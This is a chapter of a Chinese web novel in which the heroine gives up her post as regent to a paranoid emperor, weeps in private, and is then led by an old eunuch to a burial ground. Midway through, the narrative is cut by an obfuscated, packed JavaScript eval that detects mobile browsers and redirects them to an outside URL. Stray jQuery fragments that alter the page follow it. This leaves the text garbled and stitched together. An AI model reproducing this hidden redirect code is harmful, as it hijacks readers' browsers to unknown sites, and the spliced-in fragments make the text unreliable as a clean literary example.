38.第 38 章

作品:《疯批大反派他不按剧本走

    锢在她腰身的手臂肌肉瞬间绷紧,随即,又在暴怒的顶点倏然凝滞。


    宋迎能感觉到,他手臂上贲张的肌肉正微微发着抖,进退维谷,悬停在危险边缘。


    最终,那股失控力道,还是一点点卸了力,抽离开来。


    宋迎,在他心神剧震的刹那,抓住了空隙。


    目光划过腰间,她直起了身子。


    ——朝服料子硬挺,那处却被他捏出一团褶皱。


    她抬手,将那褶皱抚平。


    宋迎抬眼看向他。


    那双眼睛依旧一瞬不瞬地盯着她,眼底狰狞淡去。


    他胸膛剧烈起伏,呼吸粗重。


    接着,宋迎撩起衣摆,缓缓跪了下去。


    “陛下息怒。”


    声音平波无惊,“臣方才所言,并非有意顶撞,只是……”


    停顿片刻,她深吸一口气,复又说道:


    “如今,陛下龙体康泰,臣这个‘摄政王’。已然名不副实。”


    抬起头,宋迎果然看到了永昭帝措手不及的讶异。


    她恍然未见,神色坦然:“在其位,谋其政。若无其位,臣便不会干涉朝局,更不会……引起陛下如此误会。”


    “为免朝野非议,也为安陛下之心,”


    宋迎俯下身,额头抵地,“臣恳请陛下,收回摄政之权。”


    叽叽歪歪的,我不干了还不行吗!


    沉默。


    死寂。


    斜阳寸寸挪移,拖曳在地的光影落到宋迎脊背,烫得她睫毛一颤。


    她俯首于地,等着永昭帝的反应。


    狗皇帝的脾气,她再清楚不过了。


    ——多疑暴戾,近乎偏执。


    他绝对不会放她走的。


    她只能去赌。


    以退为进,是她眼下唯一的筹码。


    随着她的下跪,永昭帝垂下眼眸,薄唇抿得冷硬线条。


    目光剐着纤细背脊。


    满心空落。


    那团烈火仿佛瞬间燃尽,心上一地灰烬。


    良久,永昭帝溢出一声冷嗤。


    “宋迎,你当真是为了……安朕之心吗?”


    “臣不敢欺君。”宋迎维持着俯首姿势,恭谨回道。


    永昭帝眸光渐渐沉了下去。


    收回摄政之权?


    舌尖舔过齿间,永昭帝一遍遍咀嚼着这句话。


    她以为他在意的是这点权力?


    她以为他是怕她功高盖主?


    轻飘飘一句卸职,就想把自己摘得一干二净?


    胸口有什么东西攥成一团,倏而放大,又倏而缩小,反复折磨。


    这是她欲擒故纵的手段?


    还是说——


    是为了向他表明,她和盛向明之间清清白白,从此划清界限?


    不对……


    她刚才还说了,相见恨晚……


    呼吸声又变得粗重起来。


    她说过她想要回家,那他方才的旨意,岂不是正合她意!


    交出权柄,再无牵挂,她要逃到那个男人身边去吗?!


    脸部肌肉不受控制地痉挛起来,面容扭曲得有些可怖。


    她是他亲手扶上高位的棋子,


    是他亲手浇灌的花,


    棋子,没有资格自己离开棋盘。


    花,更没有权利选择为谁而开。


    她的一切,都该由他来赏赐!


    暴戾的念头驱使着他,指骨颤抖着,缓缓张开——


    就要扣上她削瘦的肩胛!


    突然,永昭帝顿住了。


    她算准了!


    她一定是算准了!


    这又是她设下的局!


    一定是的!


    她就是算准了……算准了他的舍不得!


    指骨又慢慢收紧,握成了拳。


    手背青筋暴起,蜿蜒向上。


    最终,五指却一松,无力垂回身侧。


    下一刻,永昭帝竟低低地笑了起来。


    初时是压在喉间的闷笑,随即,笑声越来越大,在空旷里回荡,显得森然癫狂。


    “收回摄政之权?”


    他居高临下地看着地上的人,“好啊!朕允了!”


    骇人笑声中,宋迎伏在地上,心脏被攥得生疼,疼得直冒冷汗。


    得到答复,她闭上了双眼,“……臣,叩谢陛下。”


    行礼,躬身后退。


    她转身出了金銮殿,每一步都走得沉稳如常。


    永昭帝定定看着那道决绝背影,一点点消失在视野里。


    眼中瞳孔剧烈地一缩,缩成一道竖线。


    金芒一闪,挣扎瞬息后,又被汹涌而上的幽暗吞没。


    金光乍现,黑暗绞杀;


    又是幽暗翻涌,又被金光刺穿。


    如此反复,如此往复。


    快到最后,双色已分不清彼此,在眼底搅弄一片。


    腥热猛地逆行上涌,永昭帝猛地侧头,吐出一口鲜血。


    他扶着身侧栏杆,剧烈地喘息着,几乎要支撑不住摇晃身形。


    眼底金芒缓缓褪去,又沉为一片黑暗。


    *


    宋迎出了金銮殿早就在心里骂开了。


    去他丫的摄政王!爱谁当谁当去!


    她不稀罕!


    天天起得比鸡早,睡得比狗晚,日日加班熬夜批奏折,头发都要秃了!


    穿着这身破衣服不好看也就算了!


    又沉又重,头顶上那几斤重的破珠冠就压得人颈椎病都要犯了!


    还不如干基层呢!


    当基层多好!工资照拿,责任老板扛!


    就该摆自己的烂!摸自己的鱼!


    当个勤勤恳恳的打工人,都他丫的没好下场!


    宋迎一路骂骂咧咧冲回偏殿,一头扎进被子里。


    凭什么啊。


    吃力不讨好,脏活累活全是她干的,最后还要被怀疑,被羞辱,受这天大的委屈。


    鼻头一酸,眼眶骤热。


    脸被埋进被子里,一开始,只是小声的抽噎。


    最后,宋迎终于忍不住,嚎啕大哭了起来。


    都是些什么玩意儿啊!


    哭到后面,又变回了无声的抽噎。


    发泄完,宋迎从被子里抬起脸来。


    哭得整个人乱七八糟的。


    她从床上爬起来,抹了抹泪痕。


    扯弄着把这身晦气的亲王朝服脱了下来。


    然后,从箱底翻出了那件粉绿。


    还是当个小宫女好。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025974|177093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天塌下来,总有润德公公替她顶着。


    她吸吸鼻子,用冷水净了把脸。


    宋迎打算去看看润德公公。


    听太医说,他身子好得差不多了。正好,她这个摄政王也不用当了,她继续跟在润德公公后面混日子。


    推开门,冬日灼烈,天高云淡。


    檐下晶莹冰棱悄然消融,凝成水珠,一颗接着一颗地砸在地上,碎成一滩水渍。


    “润德公公!”


    宋迎几步奔过去,“太医说您身子大好,那什么时候回来当值啊?”


    “难得不下雪,要不要出去走走?”


    润德公公还靠在引枕上,见着宋迎,灰败眼中才漾开些许笑意。


    “今儿怎么不去万春殿伺候了?”


    一句话,又勾起了委屈。


    宋迎撇撇嘴,眼圈倏地红了:“……不去了。”


    “陛下龙体康健,用不着我这块挡箭牌了。”


    鼻音闷闷的,“马前卒用完了,当然要从棋盘上下来。”


    她说着,习惯性地去拉润德公公的手,想撒个娇。


    “往后呀,我还是跟着公公的四等宫女,还得靠公公您照拂呢。”


    指尖被冰冷刺得一缩,宋迎心头一沉,正想细问,却对上润德公公那双笑意盈盈的眼睛。


    他问道:“陛下,可有下旨?”


    “啊?他、他亲口答应的!”宋迎表情瞬间凝固,“君无戏言!口谕……口谕难道不算圣旨吗?”


    宋迎语速变快,有些语无伦次。


    “宋小姑娘,”润德公公反手,用另一只手握住她的。


    摇着头,笃定道:“……回不去了。”


    宋迎的瞳孔骤然一缩。


    她看着润德公公掀开被褥,施施然下了榻。


    他的动作不急不缓,取过大氅披上。


    “走吧,”他朝宋迎伸出手,“方才不是还吵着,要陪咱家走走么?”


    ……


    ……


    临近年结的宫城,哑得像座陵墓。


    赤红灯笼未挂,朱墙上铜钩光秃秃的。


    风呼呼作响,卷过长廊,像是鬼哭。


    听得宋迎心惊胆战的,只得搂紧了润德公公的胳膊。


    看起来是宋迎搀扶着润德公公。


    实则,是宋迎被他牵着,浑浑噩噩地往前走。


    回不去了。


    回不去了……


    这四个字一直在她心头盘旋,堵得心口发慌。


    润德公公没有说话,只是领着她,穿过一道又一道宫门,往宫苑深处去。


    也不知走了多久,眼前出现一处园林。


    “御花庭?”


    宋迎停下脚步,终于找回了自己的声音,好奇问道:“怎么来这儿?”


    “如今天寒地冻,百花凋零,御花庭里只有枯枝败叶,有什么可看的?”


    她指了指隔壁,“倒不如去西边的梅园,踏雪寻梅,也算桩雅事。”


    润德公公闻言,脚步一顿。


    他回过头,静静地看着宋迎。


    “小姑娘,”他缓缓开口,声音散在寒风里,“你错了。”


    他引着她,踏入萧瑟。


    “这里,不是御花庭。”


    “这里是百墓坡。”